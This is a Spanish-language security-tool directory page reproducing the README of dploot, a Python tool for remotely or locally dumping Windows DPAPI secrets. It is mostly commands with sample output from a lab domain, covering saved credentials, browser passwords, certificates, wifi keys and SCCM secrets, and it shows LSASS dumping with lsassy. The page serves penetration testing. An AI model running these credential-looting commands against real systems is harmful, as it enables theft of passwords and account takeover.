Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
dploot — Saqueo de DPAPI de forma remota y local en Python | Kitploit
Herramientas/GitHubGitHub/zblurx/dploot
Herramientas de Cifrado/DescifradoPost-ExplotaciónForensia DigitalPruebas de PenetraciónSeguridad en la NubeRed Teaming
GitHubzblurx/dploot

dploot

Saqueo de DPAPI de forma remota y local en Python

Ver Repositorio
55575hace 5 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

dploot

dploot es un reescritura en Python de SharpDPAPI escrita en C# por Harmj0y, que a su vez es un port de DPAPI de Mimikatz por gentilkiwi. Implementa toda la lógica DPAPI de estas herramientas, pero esta vez es utilizable con un intérprete de Python y desde un entorno Linux.

Si no sabes qué es DPAPI, echa un vistazo a este post.

Tabla de Contenidos

  • dploot
    • Tabla de Contenidos
    • Instalación
    • Uso
      • Kerberos
    • Cómo usar
      • Como administrador local en la máquina
      • Con acceso sin conexión al sistema de archivos de Windows
      • Como administrador de dominio (o equivalente)
      • No como administrador de dominio
    • Comandos
      • User Triage
        • masterkeys
        • credentials
        • vaults
        • rdg
        • certificates
        • browser
        • triage
      • Machine Triage
        • machinemasterkeys
        • machinecredentials
        • machinevaults
        • machinecertificates
        • machinetriage
      • Varios
        • wifi
        • sccm
        • backupkey
        • mobaxterm
        • wam
        • blob
    • Créditos

Instalación

Puedes instalar dploot directamente desde PyPI con pipx:```text pipx install git+https://github.com/zblurx/dploot.git

root@kitploit:~
o```text
pipx install dploot

En Kali Linux, puedes instalar dploot desde los repositorios:```text sudo apt install python3-dploot

root@kitploit:~
## Uso```text
dploot (https://github.com/zblurx/dploot) v3.1.2 by @_zblurx
usage: dploot [-h]
              {backupkey,blob,browser,certificates,credentials,machinecertificates,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi} ...

DPAPI looting locally remotely in Python

positional arguments:
  {backupkey,blob,browser,certificates,credentials,machinecertificates,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi}
                        Action
    backupkey           Backup Keys from domain controller
    blob                Decrypt DPAPI blob. Can fetch masterkeys on target
    browser             Dump users credentials and cookies saved in browser from local or remote target
    certificates        Dump users certificates from local or remote target
    credentials         Dump users Credential Manager blob from local or remote target
    machinecertificates
                        Dump system certificates from local or remote target
    machinecredentials  Dump system credentials from local or remote target
    machinemasterkeys   Dump system masterkey from local or remote target
    machinetriage       Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote target
    machinevaults       Dump system vaults from local or remote target
    masterkeys          Dump users masterkey from local or remote target
    mobaxterm           Dump Passwords and Credentials from MobaXterm
    rdg                 Dump users saved password information for RDCMan.settings from local or remote target
    sccm                Dump SCCM secrets (NAA, Collection variables, tasks sequences credentials) from local or remote target
    triage              Loot Masterkeys (if not set), credentials, rdg, certificates, browser and vaults from local or remote target
    vaults              Dump users Vaults blob from local or remote target
    wam                 Dump users cached azure tokens from local or remote target
    wifi                Dump wifi profiles from local or remote target

options:
  -h, --help            show this help message and exit

Kerberos

dploot puede autenticarse con Kerberos. Simplemente use la opción -k. Si desea usar un ticket almacenado en caché, use la opción -use-kcache.

Cómo usar

El objetivo de dploot es simplificar el saqueo de secretos DPAPI desde una máquina Linux. Como SharpDPAPI, la forma de usar esta herramienta dependerá de si se comprometió el dominio o no.

Como administrador local en la máquina

Siempre que seas administrador local de una computadora Windows, puedes saquear secretos de la máquina, por ejemplo con machinecertificates (o cualquier otro comando de Machine Triage, o el comando wifi):```text $ dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -quiet [-] Writting certificate to DESKTOP-OJ3N8TJ.waza.local_796449B12B788ABA.pfx

root@kitploit:~
### Con acceso sin conexión al sistema de archivos de Windows

Una forma diferente de obtener acceso de administrador local a un sistema, por ejemplo mediante acceso físico, extrayendo la unidad y montando el sistema de archivos directamente en tu máquina. Para usar este modo, especifica `LOCAL` como objetivo. Por defecto, se espera que el sistema de archivos de destino sea el directorio actual; puedes especificar una ruta diferente con `-root`:```text
$ dploot sccm -root /media/C_drive/ -t LOCAL
[*] Connected to LOCAL as \ (admin)

Todavía puede ser útil proporcionar un nombre de usuario y una contraseña válidos como argumentos, que se usarán para descifrar las claves maestras (consulta las instrucciones en Triaje de usuario a continuación):```text $ dploot masterkeys -root /mnt -u bob -p Password -t LOCAL [*] Connected to LOCAL as \bob (admin)

root@kitploit:~
### Como administrador de dominio (o equivalente)

Si tienes privilegios de administrador de dominio, puedes obtener la clave de respaldo DPAPI del dominio con el comando backupkey. Esta clave puede descifrar cualquier clave maestra DPAPI de usuarios y equipos del dominio, y nunca cambiará. Por lo tanto, esta clave permite a un atacante saquear cualquier contraseña protegida por DPAPI relacionada con un usuario del dominio.

Para obtener la backupkey del dominio, puedes usar el comando [backupkey](#backupkey):```text
$ dploot backupkey -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.112 -quiet
[-] Exporting domain backupkey to file key.pvk

Entonces puedes saquear cualquier secreto de usuario almacenado en un equipo Windows unido al dominio en la red, por ejemplo con el comando certificates (o cualquier otro comando de User Triage):``` $ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -pvk key.pvk -quiet [-] Writting certificate to jsmith_waza.local_C0F800ECBA7BE997.pfx [-] Writting certificate to jsmith_waza.local_D0C73E2C04BEAAB0.pfx [-] Writting certificate to m.scott_waza.local_EB9C21A5642D4EBD.pfx

root@kitploit:~
### No como administrador de dominio

Si aún no se han obtenido privilegios de administrador de dominio, usar el comando sekurlsa::dpapi de Mimikatz recuperará los mapeos {GUID}:SHA1 de claves maestras DPAPI de cualquier clave maestra cargada (usuario y SYSTEM) en un sistema determinado (consejo: ejecutar dpapi::cache después de la extracción de claves te dará una tabla ordenada). Si cambias estas claves a un formato de tipo {GUID1}:SHA1 {GUID2}:SHA1..., se pueden suministrar a dploot para hacer un triaje del sistema. También puedes usar [lsassy](https://github.com/Hackndo/lsassy) para recolectar claves maestras descifradas:```text
$ lsassy -u Administrator -p 'Password!123' -d waza.local -t 192.168.56.14 -m rdrleakdiag -M masterkeys
[+] 192.168.56.14 Authentication successful
[+] 192.168.56.14 Lsass dumped in C:\Windows\Temp\ff32F.fon (57121318 Bytes)
[+] 192.168.56.14 Lsass dump deleted
[+] 192.168.56.14 WAZA\DESKTOP-OJ3N8TJ$        [NT] 0e43c22a4b09520cf79ca19a9e1bbec7 | [SHA1] 2ce587ab64aa3488c5ed412ca1e554d0f8e5a411
(snip)
[+] 192.168.56.14 5 masterkeys saved to /data/masterkeys

Entonces puedes usar este archivo masterkey para saquear la computadora objetivo, por ejemplo con el comando browser (o cualquier otro comando de User Triage):```text $ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -mkfile /data/masterkeys [*] Connected to 192.168.56.14 as waza.local\Administrator (admin)

[*] Triage Browser Credentials for ALL USERS

[MSEDGE LOGIN DATA] URL: Username: [email protected] Password: Waza1234

root@kitploit:~
También puedes volcar los hash de masterkey con la opción `-hashes-outputfile` de [dploot masterkeys](#masterkeys)

## Comandos

### Triage de usuario

#### masterkeys

El comando **masterkeys** obtendrá cualquier archivo de masterkey de usuario y los descifrará con la combinación `-passwords FILE` de usuario:contraseña, la combinación `-nthashes` de usuario:nthash o una clave de respaldo de dominio `-pvk PVKFILE`. Devolverá un conjunto de mapeos masterkey {GUID}:SHA1. Ten en cuenta que intentará usar la contraseña o nthash que usaste para conectarte al objetivo incluso si no especificas las opciones correspondientes. Finalmente, puedes usar `-hashes-outputfile` para obtener todos los hash de masterkey en formato Hashcat/JtR y así crackear la contraseña en texto claro.

*Con clave de respaldo de dominio*:```text
$ dploot masterkeys -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22
{d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba
{68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a

Con contraseña:```text $ cat passwords jsmith:Password#123 $ dploot masterkeys -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -passwords passwords [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a

root@kitploit:~
***Tips***: *Con el flag `outputfile`, dploot masterkeys añadirá las masterkeys obtenidas en un archivo especificado. No hay problema en almacenar todas las masterkeys en el mismo archivo, porque un DPAPI BLOB almacena el GUID de la masterkey que se necesitará para descifrarlo.*

#### credentials

El comando **credentials** buscará archivos de credenciales de los usuarios y los descifrará con `-mkfile FILE` de uno o más {GUID}:SHA1, o con `-passwords FILE` combinación de user:password, `-nthashes` combinación de user:nthash o un `-pvk PVKFILE` para descifrar primero las masterkeys.

Con `mkfile`:```text
$ dploot credentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage Credentials for ALL USERS

[CREDENTIAL]
LastWritten : 2022-04-12 16:55:44
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=test
Description :
Unknown     :
Username    : test
Unknown     : Password#{123}

[CREDENTIAL]
LastWritten : 2022-04-27 19:23:02
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000002 (CRED_PERSIST_LOCAL_MACHINE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=TERMSRV/srv01.waza.local
Description :
Unknown     :
Username    : DESKTOP-I60R2L6\Administrator
Unknown     : Password!123

Con pvk:```text $ dploot credentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk [*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a

[*] Triage Credentials for ALL USERS

[CREDENTIAL] LastWritten : 2022-05-19 10:25:06 Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH) Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE) Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD) Target : Domain:target=myserver.com Description : Unknown : Username : Administrator Unknown : Naga2019*

root@kitploit:~
#### vaults

El comando **vaults** buscará los secretos de Vaults de los usuarios y los descifrará con `-mkfile FILE` de uno o más {GUID}:SHA1, o con `-passwords FILE` con combinaciones de usuario:contraseña, `-nthashes` con combinaciones de usuario:nthash o un `-pvk PVKFILE` para descifrar primero las masterkeys.

Con `mkfile`:```text
$ dploot vaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -mkfile waza.local.mkf
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage Vaults for ALL USERS

[VAULT_VPOL_KEYS]
Key1: 0x552f5d5b454d3a53aec4ff458539de02
Key2: 0x5565757b5acd988e1a7377030fbe7098bff3e98050ae9bca458fe554b9e2586b

[Internet Explorer]
Username        : test
Resource        : http://testphp.vulnweb.com/
Password        : b'74006500730074000000'

Decoded Password: test

Con pvk:```text $ dploot vaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22

[*] Triage Vaults for ALL USERS

[VAULT_VPOL_KEYS] Key1: 0x552f5d5b454d3a53aec4ff458539de02 Key2: 0x5565757b5acd988e1a7377030fbe7098bff3e98050ae9bca458fe554b9e2586b

[Internet Explorer] Username : test Resource : http://testphp.vulnweb.com/ Password : b'74006500730074000000'

Decoded Password: test

root@kitploit:~
#### rdg

El comando **rdg** buscará secretos en los archivos RDCMan.settings de los usuarios y los descifrará con `-mkfile FILE` de uno o más {GUID}:SHA1, o con la combinación `-passwords FILE` de usuario:contraseña, la combinación `-nthashes` de usuario:nthash o un `-pvk PVKFILE` para descifrar primero las claves maestras.

Con `mkfile`:```text
$ dploot rdg -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -mkfile waza.local.mkf
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage RDCMAN Settings and RDG files for ALL USERS

[CREDENTIAL PROFILES]
	Profile Name:	WAZA\Administrator
	Username:	WAZA\Administrator
	Password:	Placeholder1234567890

[LOGON PROFILES]
	Profile Name:	Custom
	Username:	WAZA\Administrator
	Password:	Password!123

[SERVER PROFILES]
	Name:		DC01.waza.local
	Profile Name:	Custom
	Username:	WAZA\jdoe
	Password:	Password#123

[SERVER PROFILES]
	Name:		SRV01.waza.local
	Profile Name:	Custom
	Username:	WAZA\jfile
	Password:	Password#123

Con pvk:```text dploot rdg -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a

[*] Triage RDCMAN Settings and RDG files for ALL USERS

[CREDENTIAL PROFILES] Profile Name: WAZA\Administrator Username: WAZA\Administrator Password: Placeholder1234567890

[LOGON PROFILES] Profile Name: Custom Username: WAZA\Administrator Password: Password!123

[SERVER PROFILES] Name: DC01.waza.local Profile Name: Custom Username: WAZA\jdoe Password: Password#123

[SERVER PROFILES] Name: SRV01.waza.local Profile Name: Custom Username: WAZA\jfile Password: Password#123

root@kitploit:~
#### certificates

El comando **certificates** buscará los certificados de usuarios de *MY* y los descifrará con `-mkfile FILE` de uno o más {GUID}:SHA1, o con `-passwords FILE` una combinación de usuario:contraseña, `-nthashes` combinación de usuario:nthash o un `-pvk PVKFILE` para descifrar primero las masterkeys.

Con `mkfile`:```text
$ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage Certificates for ALL USERS

Issuer:			CN=waza-ADCS1-CA,DC=waza,DC=local
Subject:		CN=John Smith,CN=Users,DC=waza,DC=local
Valid Date:		2022-05-24 09:51:33
Expiry Date:		2023-05-24 09:51:33
Extended Key Usage:
	Unknown OID (1.3.6.1.4.1.311.10.3.4)
	emailProtection (1.3.6.1.5.5.7.3.4)
	clientAuth (1.3.6.1.5.5.7.3.2)
	[!] Certificate is used for client auth!

-----BEGIN CERTIFICATE-----
MIIGDTCCBPWgAwIBAgITewAAAAJ+dBN7rSmWMAAAAAAAAjANBgkqhkiG9w0BAQ0F
ADBFMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFDASBgoJkiaJk/IsZAEZFgR3YXph
MRYwFAYDVQQDEw13YXphLUFEQ1MxLUNBMB4XDTIyMDUyNDA5NTEzM1oXDTIzMDUy
(snip)
c/8HYJOcP6FjLmevTLLESCRCg9LG4I6NzjoRGU968HWZ5U7DGUYsCVUbzcIyJL3H
DfaOwrwiSOoINEPSRHXEn2L7gjX111h1SqKCdLQ8s9mhR1F063lZzbEfGBNG7di0
/j2bsWqbT/fCx+AgCT65VRk=
-----END CERTIFICATE-----


[-] Writting certificate to jsmith_waza.local_C0F800ECBA7BE997.pfx

Con pvk:```text $ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk [*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a

[*] Triage Certificates for ALL USERS

Issuer: CN=waza-ADCS1-CA,DC=waza,DC=local Subject: CN=John Smith,CN=Users,DC=waza,DC=local Valid Date: 2022-05-24 09:51:33 Expiry Date: 2023-05-24 09:51:33 Extended Key Usage: Unknown OID (1.3.6.1.4.1.311.10.3.4) emailProtection (1.3.6.1.5.5.7.3.4) clientAuth (1.3.6.1.5.5.7.3.2) [!] Certificate is used for client auth!

-----BEGIN CERTIFICATE----- MIIGDTCCBPWgAwIBAgITewAAAAJ+dBN7rSmWMAAAAAAAAjANBgkqhkiG9w0BAQ0F ADBFMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFDASBgoJkiaJk/IsZAEZFgR3YXph MRYwFAYDVQQDEw13YXphLUFEQ1MxLUNBMB4XDTIyMDUyNDA5NTEzM1oXDTIzMDUy (snip) c/8HYJOcP6FjLmevTLLESCRCg9LG4I6NzjoRGU968HWZ5U7DGUYsCVUbzcIyJL3H DfaOwrwiSOoINEPSRHXEn2L7gjX111h1SqKCdLQ8s9mhR1F063lZzbEfGBNG7di0 /j2bsWqbT/fCx+AgCT65VRk= -----END CERTIFICATE-----

[-] Writting certificate to jsmith_waza.local_C0F800ECBA7BE997.pfx

root@kitploit:~
Por defecto, la herramienta solo recopilará certificados utilizados para la autenticación de cliente, pero con `-dump-all` puedes recolectarlos todos.

***Consejos***: *Si obtienes un certificado con EKU de autenticación de cliente, puedes tomar el control de la cuenta con [certipy](https://github.com/ly4k/Certipy).*

#### browser

El comando **browser** buscará contraseñas de usuarios y cookies en navegadores basados en Chrome, y las descifrará con `-mkfile FILE` de uno o más {GUID}:SHA1, o con `-passwords FILE` combinaciones de user:password, `-nthashes` combinaciones de user:nthash o un `-pvk PVKFILE` para descifrar primero las claves maestras.

Con `mkfile`:```text
$ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage Browser Credentials for ALL USERS

[MSEDGE LOGIN DATA]
URL:		
Username:	admin
Password:	Password!123

Con pvk:```text $ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk [*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a

[*] Triage Browser Credentials for ALL USERS

[MSEDGE LOGIN DATA] URL: Username: admin Password: Password!123

root@kitploit:~
Para mostrar las cookies almacenadas, usa la opción `-show-cookies`.

Desde julio de 2024, [los navegadores basados en Chromium admiten el cifrado App Bound Key](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html). En resumen: para volcar las cookies de Chromium (y pronto las contraseñas), necesitas descifrar las claves maestras del usuario Y del SISTEMA. Esta opción es compatible con el flag `-v20-support`.

#### triage

El comando **triage** ejecuta los comandos de usuario [credentials](#credentials), [vaults](#vaults), [rdg](#rdg) y [certificates](#certificates).

### Triage de máquina

#### machinemasterkeys

El comando **machinemasterkeys** volcará los secretos LSA con RemoteRegistry para recuperar la clave DPAPI_SYSTEM, que se utilizará para descifrar cualquier clave maestra de máquina encontrada. Devolverá un conjunto de asignaciones de clave maestra {GUID}:SHA1.```text
$ dploot machinemasterkeys -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage SYSTEM masterkeys

{b5ebf413-65bd-4ee7-aa49-2a3110f678d2}:ad7475c1efdf3e834037bead151e30beaefeb349
{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
{e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
{6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
{750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049
{9a4057a3-06f2-4e4f-9a88-79ea3c3cadfa}:5b966689d74393684a221752950b46fb5236b3db

machinecredentials

El comando machinecredentials obtendrá cualquier archivo de Credenciales de máquina encontrado y los descifrará con -mkfile FILE de uno o más {GUID}:SHA1; de lo contrario, dploot volcará la clave secreta DPAPI_SYSTEM LSA con el fin de descifrar cualquier masterkey de máquina, y luego descifrar cualquier blob DPAPI XXX cifrado que se encuentre.```text $ dploot machinecredentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 [*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage SYSTEM masterkeys

{07e6e8d6-7eae-4780-9aac-641818ddd9bb}:ddb9fa17d4e9ab12[...] {a87bcad8-5ed9-4f09-a9f7-34d77e20d0d4}:e4661cd36f07bb1f[...] {d03a0e3b-b616-4a29-8795-9ca09960de35}:a45fdd01699bfbc5[...] {69b3f620-eca1-45c1-a003-f1d0a8598c57}:2862216b21e96fa6[...] {9a270191-3f43-46d1-9935-5892dca2a9a2}:d3cb43dd6645d26d[...] {e85c4ab7-65d3-45df-9abe-829c2ead1c5f}:c2a118094fb7cf85[...]

[*] Triage SYSTEM Credentials

[CREDENTIAL] LastWritten : 2022-05-06 15:51:53 Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH) Persist : 0x00000002 (CRED_PERSIST_LOCAL_MACHINE) Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD) Target : Domain:batch=TaskScheduler:Task:{31424469-6CCD-4137-8DFF-541872FD3CBB} Description : Unknown : Username : WAZA\Administrator Unknown : Password!123

root@kitploit:~
#### machinevaults

El comando **machinevaults** obtendrá cualquier archivo de Vaults de máquina que encuentre y los descifrará con `-mkfile FILE` de uno o más {GUID}:SHA1; de lo contrario, dploot volcará la clave secreta LSA de DPAPI_SYSTEM para descifrar cualquier masterkey de máquina y, a continuación, descifrará cualquier blob de Vaults DPAPI cifrado que se encuentre.```text
$ dploot machinevaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage SYSTEM masterkeys

{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
{e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
{6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
{750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049

[*] Triage SYSTEM Vaults

[VAULT_VPOL_KEYS]
Key1: 0x8a3dad10ce6ae44ba1700d1060cc28c4
Key2: 0x1514dd2c8f278ac517cf1ae09255aeaff62219a019bc21ac35321c040064b0b5

machinecertificates

El comando machinecertificates obtendrá cualquier archivo de clave privada de máquina encontrado y los descifrará con -mkfile FILE de uno o más {GUID}:SHA1; de lo contrario, dploot volcará la clave secreta LSA DPAPI_SYSTEM para descifrar cualquier masterkey de máquina y luego descifrar cualquier blob de clave privada DPAPI cifrado que se encuentre.

También volcará los blobs de certificados CAPI de máquina con RemoteRegistry.```text $ dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 [*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage SYSTEM masterkeys

{b5ebf413-65bd-4ee7-aa49-2a3110f678d2}:ad7475c1efdf3e834037bead151e30beaefeb349 {c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46 {e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba {6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89 {750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049 {9a4057a3-06f2-4e4f-9a88-79ea3c3cadfa}:5b966689d74393684a221752950b46fb5236b3db

[*] Triage SYSTEM Certificates

Issuer: CN=waza-ADCS1-CA,DC=waza,DC=local Subject: CN=DESKTOP-OJ3N8TJ.waza.local Valid Date: 2022-06-11 10:31:16 Expiry Date: 2023-06-11 10:31:16 Extended Key Usage: clientAuth (1.3.6.1.5.5.7.3.2) serverAuth (1.3.6.1.5.5.7.3.1) [!] Certificate is used for client auth!

-----BEGIN CERTIFICATE----- MIIFjTCCBHWgAwIBAgITewAAAAXrqLLiBZJG3AAAAAAABTANBgkqhkiG9w0BAQ0F ADBFMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFDASBgoJkiaJk/IsZAEZFgR3YXph (snip) nXZ6/pA+XGqQwHG/hWG2TR5Ivjzoy+OjAgu44LqucC8Pw3wWToVWCKxdGgZcXqHE TXrQnLFK+nWqjrvJsM/O6HgNJbG/lqF/sogux3FLmW7a -----END CERTIFICATE-----

[-] Writting certificate to DESKTOP-OJ3N8TJ.waza.local_796449B12B788ABA.pfx

root@kitploit:~
***Consejos***: *Si obtienes un certificado con EKU de autenticación de cliente, puedes tomar el control de la cuenta con [certipy](https://github.com/ly4k/Certipy).*

#### machinetriage

El comando machinetriage ejecuta [machinecredentials](#machinecredentials), [machinevaults](#machinevaults) y [machinecertificates](#machinecertificates).

### Varios

#### wifi

El comando **wifi** obtendrá cualquier archivo de configuración wifi xml  y los descifrará con `-mkfile FILE` de uno o más {GUID}:SHA1; de lo contrario, dploot volcará la clave secreta LSA de DPAPI_SYSTEM para descifrar cualquier clave maestra de máquina y luego descifrar cualquier blob de clave privada DPAPI cifrado que se encuentre.```text
$ dploot wifi -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage SYSTEM masterkeys

{b5ebf413-65bd-4ee7-aa49-2a3110f678d2}:ad7475c1efdf3e834037bead151e30beaefeb349
{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
{e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
{6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
{750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049
{9a4057a3-06f2-4e4f-9a88-79ea3c3cadfa}:5b966689d74393684a221752950b46fb5236b3db

[*] Triage ALL WIFI profiles

[WIFI]
SSID:		Wifi_G
AuthType:	WPA2PSK
Encryption:	AES
Preshared key:	AzErTy1234567890QwSxDcFvG

[WIFI]
SSID:		EAP_TLS
AuthType:	WPA2 EAP
Encryption:	AES
EAP Type:	EAP TLS

EapHostConfig:
  EapMethod:
    Type: 13
    VendorId: 0
    VendorType: 0
    AuthorId: 0
  Config:
    Eap:
      Type: 13
      EapType:
        CredentialsSource:
          CertificateStore:
            SimpleCertSelection: true
        ServerValidation:
          DisableUserPromptForServerValidation: false
          ServerNames: None
        DifferentUsername: false
        PerformServerValidation: true
        AcceptServerName: false

[snip]

sccm

El comando sccm recuperará las credenciales NAA, las variables de colección y las credenciales de secuencias de tareas del objetivo remoto y las descifrará con -mkfile FILE de uno o más {GUID}:SHA1; de lo contrario, dploot volcará la clave secreta DPAPI_SYSTEM de LSA para descifrar cualquier clave maestra de la máquina y luego descifrar cualquier blob de clave privada DPAPI cifrado que se encuentre. El uso de -wmi volcará los secretos de SCCM de los resultados de las solicitudes WMI.```text $ dploot sccm -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

